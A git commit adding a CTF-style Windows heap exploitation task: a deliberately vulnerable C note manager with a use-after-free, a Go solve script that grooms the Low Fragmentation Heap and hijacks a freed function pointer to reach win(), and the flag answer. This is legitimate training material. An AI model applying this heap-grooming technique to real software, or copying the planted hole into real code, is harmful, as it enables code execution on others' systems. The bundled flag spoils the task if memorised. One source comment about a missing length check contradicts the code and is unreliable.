v0.1 - initial commit

This commit is contained in:
2026-07-18 21:37:15 +03:00
commit 9b89f4cb8e
153 changed files with 22887 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
flag{lfh_note_onprint_hijack}
Binary file not shown.
+165
View File
@@ -0,0 +1,165 @@
/*
Solve script for heap_lfh.exe (see src/heap_lfh.c): a use-after-free on a
real, explicitly-LFH-mode Windows heap (HeapCompatibilityInformation=2),
not a simulation.
The grooming trick, found empirically while building this example (see
USAGE.md's "Walkthrough 3" for the full story): LFH only reuses a freed
slot quickly if it's freed from the *currently active* subsegment, which
in practice means the *most recently allocated* same-size object. Freeing
an early one can fail to come back for tens of thousands of attempts;
freeing the last one allocated reliably reuses within a handful of
allocations (1-16 in repeated empirical runs on this machine/OS build).
So: allocate a few filler notes, allocate the victim note *last*, free it,
then spray 32-byte buffers (each containing a fake onPrint pointing at
win()) until the leaked address of a spray matches the victim's leaked
address -- then call P on the victim id. The spray/retry loop itself is
winpwn.SprayAndFind (spray.go), not hand-rolled here -- examples/heap_segment
needed the same shape (spray N times, look for a match against known
samples) for a structurally different relation, which is exactly the
"third copy-paste" signal that means it belongs in the library, not a
script.
NOTE FOR TASK AUTHORS (not specific to this task -- read this before
designing your own heap challenge): every numeric "fact" this solve script
or its USAGE.md walkthrough states about LFH's behavior (attempt counts,
"most recently allocated reuses reliably") was measured empirically on one
specific Windows build/patch level, on one machine, today. LFH's internal
bucket layout, subsegment sizing, and reuse heuristics are NOT a stable
public contract -- they have changed across Windows versions before and can
again. If you reuse this technique on a different build (or even a
different machine), re-run the grooming experiment yourself (spray N,
free one, spray replacements, count attempts-to-reuse) before trusting any
specific number from this file or relying on "free the last one" as if it
were guaranteed forever. Treat every offset/heuristic in a heap task as
something to verify against *your actual target*, not something to copy
from someone else's writeup.
*/
package main
import (
"bytes"
"fmt"
"log"
"strconv"
"strings"
"winpwn"
)
// parseAddr extracts the "0x..." hex value following "addr=" in a line
// like "OK id=5 addr=0x0000000000aa08e0".
func parseAddr(line []byte) (uint64, error) {
idx := bytes.Index(line, []byte("addr=0x"))
if idx == -1 {
return 0, fmt.Errorf("no addr= in line %q", line)
}
hexPart := line[idx+len("addr=0x"):]
hexPart = bytes.TrimSpace(hexPart)
return strconv.ParseUint(string(hexPart), 16, 64)
}
func main() {
pf, err := winpwn.OpenPE("heap_lfh.exe")
if err != nil {
log.Fatalf("OpenPE: %v", err)
}
winRVA, err := pf.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found: %v", err)
}
base, err := pf.ImageBase()
if err != nil {
log.Fatalf("ImageBase: %v", err)
}
winAddr := base + winRVA
pf.Close()
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
tube, err := winpwn.Spawn("heap_lfh.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvLine(); err != nil { // "heap_lfh ready"
log.Fatalf("RecvLine: %v", err)
}
// A few filler notes (any of these could be freed and would NOT
// reliably come back quickly -- that's the empirical finding).
for i := 0; i < 5; i++ {
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
log.Fatalf("SendLine: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine: %v", err)
}
}
// The victim note: allocated *last*, so its slot belongs to the
// subsegment LFH is still actively issuing from.
if err := tube.SendLine([]byte("A victim")); err != nil {
log.Fatalf("SendLine: %v", err)
}
resp, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine: %v", err)
}
victimAddr, err := parseAddr(resp)
if err != nil {
log.Fatalf("parse victim addr: %v", err)
}
victimID := 5
fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)
if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
log.Fatalf("SendLine: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine: %v", err)
}
// Fake Note{ title[24], onPrint }: 24 bytes of filler (never read once
// onPrint is redirected) + win()'s address where onPrint lives.
payload := bytes.Repeat([]byte{0x41}, 24)
payload = append(payload, winpwn.P64(winAddr)...)
payloadHex := winpwn.Enhex(payload)
// winpwn.SprayAndFind seeded with the one known target (the freed
// victim's leaked address): every spray attempt is checked against it,
// stopping the moment a replacement reuses that exact slot.
const maxAttempts = 64
victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
_, _, attempts, ok, err := winpwn.SprayAndFind(
[]winpwn.SprayResult[uint64]{victim},
maxAttempts,
func(attempt int) (winpwn.SprayResult[uint64], error) {
if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
}
resp, err := tube.RecvLine()
if err != nil {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
}
if !strings.HasPrefix(string(resp), "OK") {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
}
addr, err := parseAddr(resp)
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
},
func(a, b uint64) bool { return a == b },
)
if err != nil {
log.Fatalf("spray: %v", err)
}
if !ok {
log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
}
fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)
if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
log.Fatalf("SendLine: %v", err)
}
tube.Interactive()
}
+156
View File
@@ -0,0 +1,156 @@
/*
heap_lfh -- a deliberately tiny note manager, vulnerable to a classic
use-after-free on Windows' real Low Fragmentation Heap (not a simulation):
a private heap is created and explicitly switched into LFH mode via
HeapSetInformation(HeapCompatibilityInformation, 2), the same documented
mechanism winpwn's own reference notes (heap/pocs/02_lfh_probe.c) use to
make LFH active deterministically instead of waiting on the ~17-allocation
auto-activation heuristic.
The bug: Free (F) does not clear the dangling pointer in the notes table.
Print (P) calls through Note.onPrint without checking whether the note was
freed. There's also no bounds check tying the declared length of a B
(buffer) command to the fixed 32-byte allocation it writes into.
Protocol (one command per line, stdout is unbuffered):
A <text> allocate a Note{char title[24]; void(*onPrint)(const
char*);}, fills title (truncated to 23 chars + NUL),
sets onPrint to the real print function.
-> "OK id=<n> addr=0x<hex>"
F <id> HeapFree the note at that id (pointer stays in the table).
-> "OK"
B <hex32bytes> allocate a raw 32-byte buffer from the SAME heap and
write exactly 32 attacker-supplied bytes into it
(hex-encoded, 64 hex chars).
-> "OK addr=0x<hex>"
P <id> call notes[id]->onPrint(notes[id]->title).
-> whatever onPrint prints
Q quit.
__declspec(dllexport) on win() so it's found via the PE export table the
same way examples/task2_rop's win() is -- no symbols needed.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef struct {
char title[24];
void (*onPrint)(const char *);
} Note;
#define MAX_NOTES 4096
static Note *g_notes[MAX_NOTES];
static int g_note_count = 0;
static HANDLE g_heap;
static void real_print(const char *title) {
printf("note: %s\n", title);
}
__declspec(dllexport) void win(const char *ignored) {
HANDLE hFile;
char buffer[256];
DWORD bytesRead;
printf("you just got code execution via a freed onPrint pointer\n");
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Cannot open file.\n");
ExitProcess(0);
}
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
}
printf("\n");
CloseHandle(hFile);
ExitProcess(0);
}
static int hexval(char c) {
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
static int unhex32(const char *hex, unsigned char *out) {
if (strlen(hex) != 64) return 0;
for (int i = 0; i < 32; i++) {
int hi = hexval(hex[i * 2]);
int lo = hexval(hex[i * 2 + 1]);
if (hi < 0 || lo < 0) return 0;
out[i] = (unsigned char)((hi << 4) | lo);
}
return 1;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
g_heap = HeapCreate(0, 0, 0);
if (!g_heap) {
printf("HeapCreate failed\n");
return 1;
}
ULONG mode = 2; /* HeapCompatibilityInformation: 2 == LFH, see heap/pocs/02_lfh_probe.c */
HeapSetInformation(g_heap, HeapCompatibilityInformation, &mode, sizeof(mode));
printf("heap_lfh ready\n");
char line[256];
while (fgets(line, sizeof(line), stdin)) {
line[strcspn(line, "\r\n")] = 0;
if (line[0] == 'A' && line[1] == ' ') {
if (g_note_count >= MAX_NOTES) {
printf("ERR too many notes\n");
continue;
}
Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note));
if (!n) { printf("ERR alloc failed\n"); continue; }
strncpy(n->title, line + 2, sizeof(n->title) - 1);
n->title[sizeof(n->title) - 1] = 0;
n->onPrint = real_print;
int id = g_note_count++;
g_notes[id] = n;
printf("OK id=%d addr=0x%p\n", id, (void *)n);
} else if (line[0] == 'F' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_note_count || !g_notes[id]) {
printf("ERR bad id\n");
continue;
}
HeapFree(g_heap, 0, g_notes[id]);
printf("OK\n");
} else if (line[0] == 'B' && line[1] == ' ') {
unsigned char buf[32];
if (!unhex32(line + 2, buf)) {
printf("ERR need exactly 64 hex chars (32 bytes)\n");
continue;
}
void *p = HeapAlloc(g_heap, 0, 32);
if (!p) { printf("ERR alloc failed\n"); continue; }
memcpy(p, buf, 32);
printf("OK addr=0x%p\n", p);
} else if (line[0] == 'P' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_note_count || !g_notes[id]) {
printf("ERR bad id\n");
continue;
}
g_notes[id]->onPrint(g_notes[id]->title);
} else if (line[0] == 'Q') {
break;
} else {
printf("ERR unknown command\n");
}
}
return 0;
}